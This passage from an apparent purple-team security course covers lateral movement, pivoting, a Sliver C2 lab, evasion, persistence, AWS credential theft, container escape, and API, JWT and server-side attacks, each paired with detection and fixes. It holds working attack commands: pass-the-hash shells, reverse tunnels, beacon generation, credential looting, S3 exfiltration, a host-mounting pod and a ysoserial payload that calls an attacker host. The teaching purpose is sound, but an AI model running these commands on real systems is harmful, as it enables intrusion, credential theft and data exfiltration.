You hold a SYSTEM shell and a set of harvested hashes/credentials. The fixes: quote service paths and tighten service/registry ACLs, remove unnecessary token privileges from service accounts, disable `AlwaysInstallElevated`, and deploy LAPS so local-admin hashes are useless across hosts (Module 12). Blue side: process creation lit up `Event 4688` and Sysmon `Event ID 1` with full command line and parent (Module 12); LSASS access is a classic Sysmon `Event ID 10` detection. Confirm the escalation chain is reconstructable from your Windows telemetry in the SIEM.

MODULE 42

Lateral Movement & Pivoting

One compromised host is a foothold; the objective is everything *behind* it. Lateral movement is spreading from host to host using harvested credentials, and pivoting is routing your tools *through* a compromised machine to reach networks you cannot touch directly — which is exactly the test of the segmentation you built in Module 3. This module turns a single shell into network-wide reach.

THEORY

Credential reuse is the engine. Most lateral movement is not exploitation — it is *authentication* with stolen material. **Pass-the-Hash (T1550.002)**: use an NTLM hash directly, no plaintext needed. **Pass-the-Ticket**: reuse a Kerberos ticket. **Overpass-the-Hash**: turn a hash into a Kerberos TGT. Combined with the loot from Modules 39 and 41, these let you authenticate to new hosts as a privileged user without ever cracking a password.

◎ **OBJECTIVE**

Movement from your initial foothold to a second host using a harvested credential/hash, and a pivot that reaches a host in a segment your attacker box cannot route to directly — proving (or breaking) the Module 3 DMZ-to-LAN boundary.

```
# pass-the-hash to a remote shell (no plaintext password)
nxc smb 10.10.10.0/24 -u Administrator -H <NTLM-hash>      # spray the hash, find
    ↪ access
psexec.py -hashes :<NTLM-hash> Administrator@10.10.10.15   # SYSTEM shell via SMB
wmiexec.py -hashes :<NTLM-hash> Administrator@10.10.10.15  # stealthier, no
    ↪ service
evil-winrm -i 10.10.10.15 -u Administrator -H <NTLM-hash>  # if WinRM (5985) is
    ↪ open
# Linux lateral movement: reuse SSH keys you looted
ssh -i looted_id_ed25519 user@10.10.10.20
```

THEORY

The remote-execution toolbox. Windows offers several authenticated remote-exec channels, each with different noise and detection: **PsExec** (creates a service — `Event 7045`, loud), **WMI** (`wmiexec` — quieter, no service), **WinRM** (`evil-winrm` — PowerShell remoting, blends with admin traffic), **DCOM**. Choosing the channel *is* the OPSEC decision; each maps to a Module 12 event a defender watches for.

42.0.1 Pivoting: reach what you cannot route to

THEORY

Tunnelling through a foothold. Your Kali box cannot reach the trusted LAN directly — the firewall (Module 3) forbids it. But a host you compromised in the DMZ *can* (or the firewall lets some flows). Pivoting tunnels your traffic through that host: **SSH port-forwarding** (local `-L`, remote `-R`, dynamic `-D` SOCKS), **chisel** for HTTP-tunnelled SOCKS through restrictive egress, and **ligolo-ng** for a clean routed tunnel. With `proxychains`, every tool you own now runs *as if* it sat on the internal segment.

```
# dynamic SOCKS proxy through a compromised pivot host, then tunnel any tool
ssh -D 1080 -N user@10.10.30.10                  # SOCKS5 on :1080 via the DMZ box
proxychains nmap -sT -Pn 10.10.10.5              # scan the LAN THROUGH the pivot
# chisel: SOCKS over HTTP when only web egress is allowed
#   attacker:  ./chisel server -p 8080 --reverse
#   pivot:     ./chisel client 10.10.10.66:8080 R:socks
# ligolo-ng: presents the remote network as a routable interface to your box
```

RED TEAM — ATTACK

Attack your own segmentation. From a foothold on `web-dmz` (DMZ), pivot toward the trusted LAN (`10.10.10.0/24`). If your Module 3 *DMZ→LAN deny* rule is correct, the pivot is contained — a compromised web server *cannot* reach your workstations, exactly as designed. If it is missing or misordered, the pivot succeeds and you have proven why that single rule is the most important one in the firewall.

VERIFY IT WORKS

You moved to a second host with a passed hash/ticket, and you confirmed the segmentation behaves as built: contained where the DMZ→LAN deny holds, open only where you intended. Blue side: the pass-the-hash lateral logon appears as `Event 4624 Logon Type 3 with NTLM` from an unusual source (Module 12); PsExec leaves `Event 7045`; and the pivot's tunnelled traffic is a behavioural anomaly for Zeek (Module 27). This is the heart of the purple-team capstone (Module 53): an attacker who must defeat *every* layer without tripping *any* detection.

MODULE 43

Command & Control (C2) in the Lab

Manual shells do not scale and do not survive. Real operations run a Command-and-Control framework: a server you control, agents ("beacons") on compromised hosts that call home, and an operator console to task them. This module stands up a modern open-source C2 in the lab so you understand how operators work — and, more importantly for you, exactly what telemetry C2 generates so the Zeek beaconing hunt from Module 27 catches it.

THEORY

Anatomy of a C2. Three parts: the **team server** (the operator's brain), the **listener** (where beacons connect — over HTTP/S, DNS, or named pipes), and the **implant/beacon** (the agent on the victim). Beacons *call out* on an interval ("sleep") with *jitter* (randomised timing) to blend in, fetch tasks, run them, and return results. Everything you learned defensively about beaconing (Module 27) describes precisely this call-home rhythm — now you generate it and watch it be detected.

THEORY

The open-source frameworks. The community standards: **Sliver** (BishopFox — cross-platform, easy, the best learning C2), **Mythic** (modular, multi-agent, web UI), and **Havoc**. The commercial reference is Cobalt Strike, which most real-world detections are tuned against — which is why defenders study its profiles. You will use Sliver: it is legitimate, maintained red-team tooling, and it teaches the full operator workflow without you writing any malware.

◎ **OBJECTIVE**

A Sliver team server in the lab, an HTTP listener, and a beacon on a lab host you compromised in earlier modules — tasked from the console, with its call-home traffic visible to your Module 27 sensor.

```
# install + run the Sliver server (lab only)
curl https://sliver.sh/install | sudo bash
sliver-server                                  # opens the operator console
# inside the console: stand up a listener, then generate a beacon
sliver > http -l 8443                          # HTTP(S) listener on :8443
sliver > generate beacon --http 10.10.10.66:8443 --os linux --arch amd64 \
                         --seconds 60 --jitter 30 --save /tmp/agent
# deliver /tmp/agent to a lab target via the M37/M38 access you already have,
# run it, then drive it from the console:
sliver > sessions                              # or 'beacons'
sliver > use <id>                              # then: ls, whoami, ps, download
    ↪ ...
```

RED TEAM — ATTACK

Operate, then get caught on purpose. Task the beacon a few times (enumerate, pull a file), leaving it to call home on its 60-second-plus-jitter schedule for a while. This is a textbook C2

channel — regular, low-volume, outbound.

VERIFY IT WORKS

Run the Module 27 beaconing hunt against the Zeek `conn.log` for the window the beacon was active. RITA (or your manual interval analysis) scores the beacon→team-server pair as a strong beacon: many connections, near-constant timing, small consistent payloads — the *exact* signature you simulated with a fake beacon before you had a real C2 to point at it. If you used an HTTPS listener, the JA3/JA4 TLS fingerprint in `ssl.log` is another tell. You have closed the loop: you built the beacon detector defensively, and now a real (lab) C2 trips it.

WATCH OUT

Keep the C2 in its cage. The team server and every beacon live on the isolated lab network. A C2 reachable from — or beaconing to — the real internet is an actual command-and-control infrastructure, with the legal weight that implies. Same rule as the malware sandbox (Module 31): no route off the lab, ever.

MODULE 44

Evasion & OPSEC: Why Detection Is Hard

This module is deliberately conceptual. Its purpose is not to teach you to build undetectable malware — it is to make you, the defender, understand *why* the detections you wrote in Part A are hard to get right, so you can make them better. Every evasion concept here is a lesson in what your telemetry must capture and where your blind spots are.

THEORY

What attackers evade, and why it matters to you. Three layers fight the attacker: *signature* detection (known-bad hashes/strings — evaded by trivially changing the file), *heuristic/behavioural* detection (suspicious sequences — evaded by mimicking legitimate behaviour), and *telemetry* itself (logs/EDR — evaded by tampering or by living off the land). Understanding evasion is the Pyramid of Pain (Module 23) from the attacker's side: the more they have to change to evade you, the better your detection sits on that pyramid.

44.1 Living off the land (LOLBins)

THEORY

Why "fileless" is the hardest case. The most effective evasion is using tools that are *already trusted*: built-in OS binaries (**LOLBins** — `certutil`, `bitsadmin`, `rundll32`, `wmic` on Windows; `curl`, `python`, `bash` in odd contexts on Linux) to download, execute, and persist. There is no malicious file to signature, and the binary is signed by the vendor. This is exactly why your Module 29 hunting focused on *context* (a service spawning a shell, a binary seen once) rather than on file names — behaviour is what survives LOLBin evasion.

```
# the defender's takeaway, not an attacker's recipe:
# detect LOLBins by CONTEXT, never by mere presence --
#   - certutil/bitsadmin used to DOWNLOAD (network + child of an office app)
#   - rundll32/regsvr32 with unusual arguments or parent process
#   - powershell with encoded commands, downloads, or no console
# this is the lineage data Sysmon (M12) and the M29 hunts are built to surface.
```

44.2 Defence-in-depth as the answer

THEORY

Why no single control wins, and why layering does. An attacker can usually evade *one* layer: rename a file past AV, sleep past a short sandbox window (Module 31), use a LOLBin past signature rules, encrypt past a content filter. What they cannot easily do is evade *every* layer at once without tripping one. That is the entire thesis of defence-in-depth and of the purple-team capstone: the firewall, the WAF, the IDS, the EDR, the SIEM correlation, and the deception tripwires (Module 28) each catch a different evasion. A canary token does not care how stealthy the malware is — touching it is touching it.

RED TEAM — ATTACK

Test evasion against your own stack (concept-level). Take an action you know one control catches, and try to perform it in a way that control misses — then check whether *another* layer catches it instead. Example: deliver the Module 43 beacon via a LOLBin download instead of a dropped file. The AV signature path may miss it, but the Zeek beaconing behaviour (Module 27) and the deception tripwires (Module 28) do not. The point is not to "win" — it is to find which layer is your real backstop for each evasion.

VERIFY IT WORKS

You can articulate, for each evasion class, which of *your* controls is the backstop — and where you have none. That gap list is the most valuable output of this module: it is your detection-engineering backlog (Module 18). Add a hunt or rule for each blind spot you found. Evasion studied this way does not make you an attacker; it makes your blue team honest about its coverage.

WATCH OUT

The line this module will not cross. There is a real difference between *understanding* evasion to improve detection (this module) and *engineering* weaponised, AV/EDR-bypassing malware for use against others (not taught here, and a crime outside a lab). The concepts above are public, defensive, and exactly what every SOC analyst is expected to know. Keep your testing on your own stack, and keep the goal defensive.

MODULE 45

Post-Exploitation, Looting & Persistence

Access is the beginning, not the end. Post-exploitation is what an attacker does *after* the foothold: find the valuable data, harvest more credentials to move further, and establish persistence so a reboot or a closed shell does not cost them the host. Each action here is loud in a way your Part A detections and hunts are built to hear — which is the whole reason to practise it.

THEORY

The post-exploitation goals. Three, in order: *situational awareness* (where am I, who am I, what can I reach — the local enumeration of Modules 40/41), *collection & looting* (the data and credentials that satisfy the objective and enable the next move), and *persistence* (a reliable way back in). Real engagements spend most of their time here; the initial exploit is a small fraction of the work.

45.1 Looting: data & credentials

◎ **OBJECTIVE**

From a foothold, locate and stage the "crown-jewel" data of a lab host, and harvest every reusable credential — exactly the discovery an attacker performs, and exactly what your detection should flag.

```
# data discovery (T1083 / T1005): find what is worth taking
grep -rIl --include=*.{txt,conf,env,ini,yml,yaml} -e 'password' -e 'secret' /home
    ↪ /etc /var/www 2>/dev/null
find / -name '*.kdbx' -o -name 'id_rsa' -o -name '.aws' 2>/dev/null   # vaults/
    ↪ keys
# credential discovery on Linux
cat ~/.bash_history ~/.ssh/config /etc/fstab 2>/dev/null   # creds, hosts, mounts
# credential discovery on Windows (from a session)
findstr /si password *.txt *.xml *.config                  # creds in files
# and the loot from earlier modules: SAM/LSASS hashes (M41), domain hashes (M39)
```

THEORY

Why looting feeds the chain. Found credentials are the bridge to lateral movement (Module 42): an SSH key in a home directory, a service password in a config, a connection string in a web app's `.env`. Data discovery satisfies the engagement objective ("prove you can reach the customer database"). Stage and exfiltrate over the C2 channel (Module 43) — and note that the exfil itself is a detection opportunity: an egress-volume spike (Module 17) or an unusual destination (Module 27).

45.2 Persistence

THEORY

Persistence techniques, by platform. The attacker wants to survive reboots and lost shells. *Linux*: a cron job, a systemd service or timer, an SSH `authorized_keys` entry, a modified shell profile. *Windows*: a Run key, a scheduled task, a new service, a WMI event subscription. *Domain*: the Golden Ticket from Module 39 is the ultimate persistence — valid for years. Each leaves a distinct artefact that your Module 26 osquery pack and Module 29 hunts are designed to surface.

```
# Linux persistence examples (the artefacts your blue side hunts for)
echo '<your-pubkey>' >> ~/.ssh/authorized_keys          # key-based re-entry
(crontab -l; echo "@reboot /tmp/.agent") | crontab -     # cron persistence
# Windows persistence examples
schtasks /create /tn "Updater" /tr "C:\Temp\agent.exe" /sc onlogon
reg add HKCU\...\CurrentVersion\Run /v Updater /d "C:\Temp\agent.exe"
```

RED TEAM — ATTACK

Loot and persist, then hunt yourself. On a compromised lab host: discover a planted "sensitive" file, harvest a reusable credential, and establish one persistence mechanism. Then switch hats and run the Module 26 fleet hunt and the Module 29 rarity/lineage hunts.

VERIFY IT WORKS

Your persistence and looting are *visible*: the new `authorized_keys` entry, the `@reboot` cron, and the Windows Run-key/scheduled-task all surface in the osquery fleet hunt (Module 26) and match the persistence hunts (Module 29); the credential-grep and data discovery are exactly the behaviour Falco/EDR and your hunts flag; and any exfil over the C2 spikes the egress metric (Module 17). For each artefact, write the matching detection if you do not already have it — post-exploitation studied this way is a detection-engineering generator. Then practise the defender's other half: eradicate the persistence and confirm the host is clean (Module 19).

MODULE 46

Cloud Offensive (AWS)

You built and hardened an AWS environment defensively in Modules 9 and 16. Now you attack it. Cloud breaches rarely look like a kernel exploit — they are credential theft, over-permissioned identities, and exposed storage, all driven through the same APIs the defender uses. This module runs the canonical AWS attack chain against *your own* account, then verifies GuardDuty (Module 16) lights up.

WATCH OUT

Your own account, free tier, teardown — doubled. Every technique here runs against an AWS account *you own and pay for*, in scope per your Module 34 RoE. Cloud APIs are logged and billed; an over-eager script can run up a bill or, against someone else's account, constitute computer-fraud. Set a billing alarm, use the free tier, and `terraform destroy` / delete every resource when done — the same discipline as Modules 9 and 16, with real money attached.

THEORY

The cloud attacker's mental model. On-prem you think hosts and networks; in cloud you think *identity and API*. The control plane (IAM) is the real perimeter: who can call which API on which resource. So the attack chain is: *obtain credentials* (leaked key, SSRF token theft, a phished console login) → *enumerate what they can do* → *escalate privileges* through IAM misconfigurations → *access data & persist*. The famous breaches (Capital One) are this exact chain, not an exploit.

46.1 Credential theft via SSRF –> the IMDS

THEORY

The instance metadata service (IMDS) attack. Every EC2 instance can query a magic link-local address (`169.254.169.254`) for its metadata — including the *temporary IAM credentials* of the role attached to it. If a web app on that instance has the SSRF flaw you exploited in Module 37, you make the *server* fetch that URL and hand you its cloud keys. **IMDSv1** (request-response) is trivially exploitable this way; **IMDSv2** (session-token, hop-limit) is the mitigation — so this attack is also the direct test of whether your instances enforce v2.

```
# via the M37 SSRF, make the instance fetch its own role credentials (IMDSv1):
#   GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
#   GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# -> returns AccessKeyId / SecretAccessKey / Token. Configure them locally:
export AWS_ACCESS_KEY_ID=...  AWS_SECRET_ACCESS_KEY=...  AWS_SESSION_TOKEN=...
aws sts get-caller-identity          # who are these creds? -- your starting
    ↪ identity
```

46.2 Enumerate & escalate IAM

THEORY

IAM privilege escalation. Stolen credentials are rarely admin — but they are often *over-permissioned* in a way that lets you *become* admin. The classic paths abuse permissions like `iam:PassRole` + launching a service (attach an admin role to a new Lambda/EC2 you control), `iam:CreatePolicyVersion` (rewrite a policy you can edit), `iam:AddUserToGroup`, or `sts:AssumeRole` chaining. There are dozens of known paths; **Pacu** (the AWS exploitation framework) and enumeration tooling map them automatically — the cloud equivalent of BloodHound.

```
# enumerate what the stolen identity can do
aws iam get-account-authorization-details        # if allowed: the whole IAM
    ↪ picture
# Pacu -- AWS exploitation framework: enumerate then find privesc paths
pacu
# (in Pacu) import the keys, then:
#   run iam__enum_permissions        -> what can these creds do?
#   run iam__privesc_scan            -> which known privesc paths are open?
# example manual privesc: PassRole + Lambda to run as an admin role
aws lambda create-function --role <admin-role-arn> ...   # if iam:PassRole
    ↪ allowed
```

46.3 Loot: S3 & secrets

THEORY

S3 enumeration is still the #1 cloud data breach. Misconfigured buckets — public ACLs, overly broad policies, or simply readable by your stolen identity — expose data constantly. The attacker enumerates bucket names (guessable, or from the account), checks access, and pulls. This is the direct adversary to the Module 16 hardening (Block Public Access, least-privilege policies, default encryption).

```
# enumerate and loot storage + secret stores with the stolen identity
aws s3 ls                                        # buckets this identity can see
aws s3 ls s3://<bucket> --recursive              # contents
aws s3 sync s3://<bucket> ./loot                 # exfiltrate
aws secretsmanager list-secrets                  # the M16 secret store
aws secretsmanager get-secret-value --secret-id <name>
aws ec2 describe-instances                        # more targets / more metadata
```

RED TEAM — ATTACK

Run the chain, then check GuardDuty. End to end against your own account: SSRF→IMDS to steal role creds, enumerate and escalate IAM with Pacu, then loot an S3 bucket and a secret. This is the cloud echo of the on-prem kill chain — credential theft to privilege escalation to data access.

VERIFY IT WORKS

GuardDuty (Module 16) should surface findings for this activity — credential exfiltration, anomalous API calls, recon from an unusual source — and you can confirm in the console exactly as you did with its sample findings. The fixes are precisely your Module 16 baseline: enforce **IMDSv2** (kills the SSRF token theft), apply least-privilege IAM with permission boundaries and Access Analyzer (kills the privesc paths), and Block-Public-Access + tight policies on S3 (kills the looting). And CloudTrail recorded every API call you made — the "who touched this" trail from Module 9. You have now attacked and detected the cloud the same way you did the on-prem network.

MODULE 47

Containers & Kubernetes Offensive

Module 13 hardened containers and a Kubernetes cluster; its red-team box only hinted at the danger. Now you go deep: escape a container to its host, abuse the Docker socket, and walk Kubernetes RBAC from a single pod's service account toward cluster-admin — then confirm Falco and Kyverno (Module 13) catch you. Containers are now where much of the world runs, so they are where much of the attacking happens.

THEORY

A container is a process, not a boundary. As Module 11 taught, a container is a normal process in its own namespaces with cgroup limits and dropped capabilities — the "escape" is not magic, it is recovering a capability, a mount, or a host resource the container should never have had. So container offence is really the privesc of Module 40 applied to a weaker jail: find what the container was wrongly given, and use it to reach the host or the cluster.

47.1 Container escape

◎ **OBJECTIVE**

Escape from inside a deliberately mis-run container to the host on a throwaway lab VM, by at least two routes (a privileged/over-capable container, and a mounted Docker socket), and state the hardening that closes each.

THEORY

The escape routes. A container run `-privileged` or with `CAP_SYS_ADMIN` can manipulate the host (the classic cgroup `release_agent` technique, or mounting host devices). A container with the **Docker socket** mounted (`-v /var/run/docker.sock`) can simply ask the daemon to start a *new* container that mounts the host root — instant host root, the same idea as the Module 40 `docker`-group escape. A host-path mount (`-v /:/host`) is the bluntest of all.

```
# route 1 -- mounted Docker socket: tell the daemon to give you the host
#   (you are inside a container that has /var/run/docker.sock)
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine \
       chroot /host sh                        # now root on the HOST
# route 2 -- privileged container: mount the host disk directly
fdisk -l                                      # privileged sees host devices
mount /dev/sda1 /mnt && chroot /mnt sh        # host filesystem -> host root
# tooling that automates escape-surface discovery from inside a container:
./deepce.sh           # Docker Enumeration & Container Escape
amicontained          # what am I allowed to do? (caps, namespaces, seccomp)
```

47.2 Kubernetes: from a pod to cluster-admin

THEORY

The default service-account token is the foothold. Every pod, by default, gets mounted a service-account token — and if RBAC is loose (Module 13's lesson), that token can do far more than the app needs. The attack: read the token, ask the API *what it can do*, then abuse a dangerous permission — `create pods` (schedule a pod that mounts the host or runs privileged), `get secrets` (read every secret, which are only base64 — Module 13), `create rolebindings` (bind yourself to admin), or `exec` into other pods.

```
# inside a compromised pod: grab the mounted service-account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
# the single most important offensive question -- what can this token do?
kubectl --token=$TOKEN auth can-i --list
# if it can read secrets (they are only base64):
kubectl --token=$TOKEN get secrets -A -o yaml
# if it can create pods -> schedule a privileged pod that mounts the host node:
kubectl --token=$TOKEN apply -f hostmount-pod.yaml   # then exec in -> node root
# automated cluster attack tooling:
kube-hunter --remote <api>      # finds exploitable cluster issues
# peirates -- interactive K8s post-exploitation (token abuse, privesc paths)
```

```
# hostmount-pod.yaml -- the "escape to the node" pod (offensive use; lab only)
apiVersion: v1
kind: Pod
metadata: { name: pwn }
spec:
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","sleep 1d"]
    securityContext: { privileged: true }      # what Kyverno (M13) should REJECT
    volumeMounts: [{ name: host, mountPath: /host }]
  volumes: [{ name: host, hostPath: { path: / } }]   # mounts the NODE filesystem
```

RED TEAM — ATTACK

Try the escalation against your hardened cluster. First on a deliberately loose setup so you see each technique work; then re-run against the Module 13 hardened cluster — restricted Pod Security Standard, default-deny NetworkPolicy, Kyverno admission control, and Falco runtime detection — and watch what changes.

VERIFY IT WORKS

Against the hardened cluster the chain breaks where you built it to: Kyverno *rejects* the privileged/host-mounting `pwn` pod at admission (Module 13); the restricted Pod Security Standard forbids `privileged` and host paths; the default-deny NetworkPolicy stops the token from reaching pods you did not allow; and the moment you `exec` a shell into a container, **Falco** fires its "Terminal shell in container" alert (Module 13). The container escape on the host, meanwhile, is what `trivy/kube-bench` scanning would have flagged pre-deploy

(Module 13/15). The fixes are your Module 13 controls exactly: non-root, cap-drop, read-only fs, scoped RBAC, no Docker socket in untrusted containers. You attacked the cluster and proved the hardening holds — the container-and-cloud half of the purple-team capstone.

MODULE 48

API Security Testing (OWASP API Top 10)

Module 37 attacked the web app a human clicks. But behind almost every modern app is an *API* — and APIs have their own distinct failure modes, ranked by their own OWASP list. APIs are now the dominant attack surface precisely because they expose business logic directly, often with weaker authorisation than the UI implies. This module tests the API behind `vuln-app` the way an attacker who skips the front end does.

THEORY

Why the API Top 10 differs from the web Top 10. The web Top 10 (Module 37) is about *how* input is mishandled (injection, XSS). The **API Top 10** is about *authorisation and object-level access* at scale: **BOLA** (Broken Object Level Authorization — API-grade IDOR, the #1 API risk), **Broken Authentication**, **BOPLA** (object property-level: mass assignment + excessive data exposure), **unrestricted resource consumption**, **Broken Function Level Authorization**, **SSRF**, and **improper inventory** (forgotten `/v1` endpoints). The theme: the UI hid endpoints and enforced rules client-side; the API enforces far less than you assume.

◎ **OBJECTIVE**

A tested API surface for `vuln-app`: every endpoint discovered, BOLA and function-level-auth flaws proven, mass assignment and excessive-data-exposure confirmed, captured with the request evidence your report needs.

48.1 Discover the surface, then break authorisation

```
# discover endpoints the UI never shows (improper inventory):
#  - read the app's JS bundles / swagger / openapi.json
curl -s http://10.10.30.10/api-docs/swagger.json | jq '.paths | keys'
ffuf -u http://10.10.30.10/api/FUZZ -w api-wordlist.txt    # brute API paths
# BOLA (API-grade IDOR): swap the object id, see someone else's object
curl -H "Authorization: Bearer <your-token>" http://10.10.30.10/api/orders/1001
#   -> change 1001 to 1002... the server never checks YOU own that order
# Broken function-level auth: call an admin-only verb the UI hides from you
curl -X DELETE -H "Authorization: Bearer <user-token>" http://10.10.30.10/api/
    ↪ users/5
```

THEORY

Mass assignment & excessive data exposure. APIs often bind the whole JSON body to an object (**mass assignment**): send a field the UI never offered — `"role":"admin"` or `"isAdmin":true` — and if the server blindly trusts it, you escalate. And APIs frequently return *more* than the UI shows (**excessive data exposure**): the user object comes back with the password hash, the internal flags, the other users' fields — the client just hides them, so you read the raw JSON.

```
# mass assignment: add a privileged field the UI never sends
curl -X PATCH http://10.10.30.10/api/users/me -H "Content-Type: application/json"
    ↪ \
     -H "Authorization: Bearer <token>" -d '{"email":"x@x","role":"admin"}'
# excessive data exposure: read the FULL object the UI was filtering client-side
curl -s http://10.10.30.10/api/users/me | jq    # password hash? internal flags?
```

RED TEAM — ATTACK

Skip the front end entirely. Proxy the app through Burp once to learn the API shape, then attack the API directly — no browser, no client-side controls. Prove a BOLA (read another user's data), a function-level-auth bypass (call an admin endpoint as a normal user), and a mass-assignment privilege escalation. The UI's restrictions evaporate because they were never enforced server-side.

VERIFY IT WORKS

For each flaw you have the request/response proving it and a one-line fix: *enforce object ownership server-side on every request* (BOLA), *check function-level authorization per endpoint and verb*, *allow-list bindable fields* (mass assignment), and *return only the fields the caller needs* (data exposure). A WAF cannot fix any of these — they are authorization logic, exactly like the IDOR lesson in Module 37 — so they go straight into the report (Module 52) as high-severity findings the application team must own.

MODULE 49

Authentication, Sessions, JWT & OAuth Attacks

Authentication is where attackers spend disproportionate effort, because breaking it once grants legitimate-looking access to everything. Module 37 brushed broken auth; this module goes deep into the mechanisms modern apps actually use — session tokens, JWTs, and OAuth/OIDC flows — and the specific, repeatable ways each is attacked.

THEORY

Sessions vs tokens. Classic apps issue a *session cookie* (an opaque id the server maps to state); modern apps issue a *JWT* (a self-contained, signed token the server trusts without server-side state). Each model fails differently. Session attacks: *fixation* (force a known session id), *prediction* (weak randomness), insecure cookie flags (missing `HttpOnly`/`Secure`/`SameSite`). Token attacks target the signature and the claims — and a forged token is indistinguishable from a real login.

49.1 JWT attacks

THEORY

Why JWTs get forged. A JWT is `header.payload.signature`, base64-encoded. Three classic flaws: **`alg:none`** (tell the server there is no signature and some libraries accept it), **weak HMAC secret** (the token is signed with a guessable key you crack offline, then forge any payload), and **algorithm confusion** (an `RS256`→`HS256` downgrade where the public key is used as the HMAC secret). Forge the payload — `"user":"admin"` — and you are admin, with a token the server happily verifies.

```
# inspect / tamper a JWT (decode is trivial -- it is only base64)
echo '<jwt>' | cut -d. -f2 | base64 -d 2>/dev/null    # read the claims
# crack a weak HMAC secret offline, then forge a new token
hashcat -m 16500 jwt.txt rockyou.txt                  # 16500 = JWT
# the all-in-one JWT attack toolkit (alg:none, key confusion, weak secret):
jwt_tool <jwt> -M at -t http://10.10.30.10/api/me     # tampering + attack modes
jwt_tool <jwt> -X a                                   # try the alg:none attack
```

49.2 OAuth / OIDC abuse

THEORY

Where delegated auth breaks. OAuth2/OIDC (the "log in with..." flows you may have wired into the proxy in Module 4) fail at the edges: an unvalidated **`redirect_uri`** lets an attacker steal the authorization code by redirecting it to themselves; a missing **`state`** parameter enables CSRF on the login flow; **implicit-flow token leakage** via the URL fragment; and **scope/audience** confusion where a token issued for one app is accepted by another. The

trust is in the flow, and the flow has many places to subvert it.

RED TEAM — ATTACK

Forge your way to admin. On `vuln-app`: capture your JWT, identify its algorithm, and attack it — try `alg:none`, then crack the HMAC secret if it is weak — and forge a token claiming an admin identity. Separately, test the session cookie: are `HttpOnly/Secure/SameSite` set? Can you fix a session? If OAuth is configured, tamper the `redirect_uri`.

VERIFY IT WORKS

You hold a forged or hijacked authenticated session you were never granted. The fixes are precise: *reject* `alg:none` *and pin the algorithm*, *use a long random signing secret* (or proper asymmetric keys), *set* `HttpOnly/Secure/SameSite` *and rotate session ids on login*, and *strictly allow-list* `redirect_uri` *and require* `state`. Note the blue-team angle too: a forged token that suddenly grants admin should be a detection signal — an authentication anomaly your Module 8 SIEM and the honey-account thinking from Module 28 can surface. These findings are critical-severity in the report (Module 52).

MODULE 50

Advanced Server-Side Exploitation

The Module 37 injections were the common cases. This module covers the server-side classes that turn a web flaw into full code execution or internal compromise — the bugs that win real engagements and CTFs: template injection, insecure deserialization, XXE, and HTTP request smuggling. Each is a way that trusted server-side processing can be turned against the server.

THEORY

Server-Side Template Injection (SSTI). When user input is concatenated into a server-side template (Jinja2, Twig, Freemarker, etc.) instead of passed as data, your input becomes *template code* — and template engines can usually reach the underlying objects and the OS. The probe is arithmetic: if `{{7*7}}` renders as `49`, you have SSTI, and the path from there to remote code execution is well-mapped per engine.

```
# detect SSTI: does the server EVALUATE your expression?
#   input:  {{7*7}}   -> renders 49  (Jinja2/Twig)   |  ${7*7} / #{7*7} for
    ↪ others
# escalate Jinja2 SSTI toward RCE (concept -- against your lab app only):
{{ ''.__class__.__mro__[1].__subclasses__() }}   # reach Python object graph ->
    ↪ os
# tplmap automates detection + exploitation across engines:
tplmap -u "http://10.10.30.10/page?name=test"
```

THEORY

Insecure deserialization & XXE. Deserialization: an app that deserializes attacker-controlled objects (Java, .NET, Python `pickle`, PHP) can be made to execute code via crafted "gadget chains" — `ysoserial` generates them. **XXE** (XML External Entity): an XML parser that resolves external entities can be made to read local files (`/etc/passwd`), perform SSRF, or exfiltrate data — by declaring a malicious `DOCTYPE`.

```
# XXE: make the parser read a local file via an external entity
<?xml version="1.0"?>
<!DOCTYPE x [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]>
<data>&f;</data>            # the response echoes the file contents
# deserialization gadget (Java) -- generated, then delivered to the sink:
ysoserial CommonsCollections5 'curl http://10.10.10.66/x' > payload.ser
```

THEORY

HTTP request smuggling. When a front-end proxy and a back-end server disagree about where one request ends (conflicting `Content-Length` vs `Transfer-Encoding`), an attacker smuggles a second, hidden request past the front end's controls — poisoning other users' responses, bypassing the WAF, or hijacking sessions. It is the exact seam between the reverse proxy (Module 4) and the backend, abused.

RED TEAM — ATTACK

Chain a web bug to the OS. On `vuln-app`: find an SSTI (the `{{7*7}}` test), confirm it, and escalate toward command execution; test any XML endpoint for XXE file-read. These are the bugs that take you from "web finding" to "shell" — the same foothold you got in Module 38, reached through the application tier.

VERIFY IT WORKS

You turned an application input into server-side code execution or local-file read. Fixes: *never put user input into a template as code* (pass it as data / sandbox the engine), *do not deserialize untrusted data* (use safe formats, allow-list classes), *disable external entities in the XML parser*, and *normalise request parsing / use HTTP/2 end-to-end* against smuggling. Blue side: these RCE chains produce exactly the process-lineage anomaly your Module 29 hunts and Falco/EDR (Modules 13, 26) are built to catch — a web process spawning a shell. Critical findings, every one, in the report (Module 52).

MODULE 51

Source-Code Review & Client-Side Exploitation

Two final application skills round out the offensive app track. **White-box source review** finds vulnerabilities by reading code rather than probing blind — faster and more thorough when you have access, and the bridge to the secure-coding mindset. **Client-side exploitation** attacks the browser side that server-side filters miss. Together they complete your coverage of the application from both directions.

THEORY

Finding bugs by reading, not guessing. Black-box testing (everything so far) infers flaws from behaviour; *white-box* review reads the source and finds them directly. The method: locate the **sources** (where user input enters — request params, headers, uploads), trace to the **sinks** (dangerous operations — SQL queries, `exec`, template render, file paths, deserialize), and flag any path from source to sink without proper validation. SAST tools (`semgrep`, CodeQL) automate the pattern-matching; your judgement confirms exploitability.

```
# grep the codebase for dangerous sinks, then trace inputs to them
grep -rnE "(exec|system|eval|os\.popen|subprocess|pickle\.loads)" .    # command/
    ↪ deser sinks
grep -rnE "(SELECT|INSERT|UPDATE).*(\+|%|f\")" .                       # string-
    ↪ built SQL
grep -rnE "(render_template_string|Template\()" .                      # SSTI
    ↪ sinks
# semgrep: rule-based static analysis (the offensive use of the M15 tool)
semgrep --config=auto .          # surfaces injection, hardcoded secrets, weak
    ↪ crypto
```

THEORY

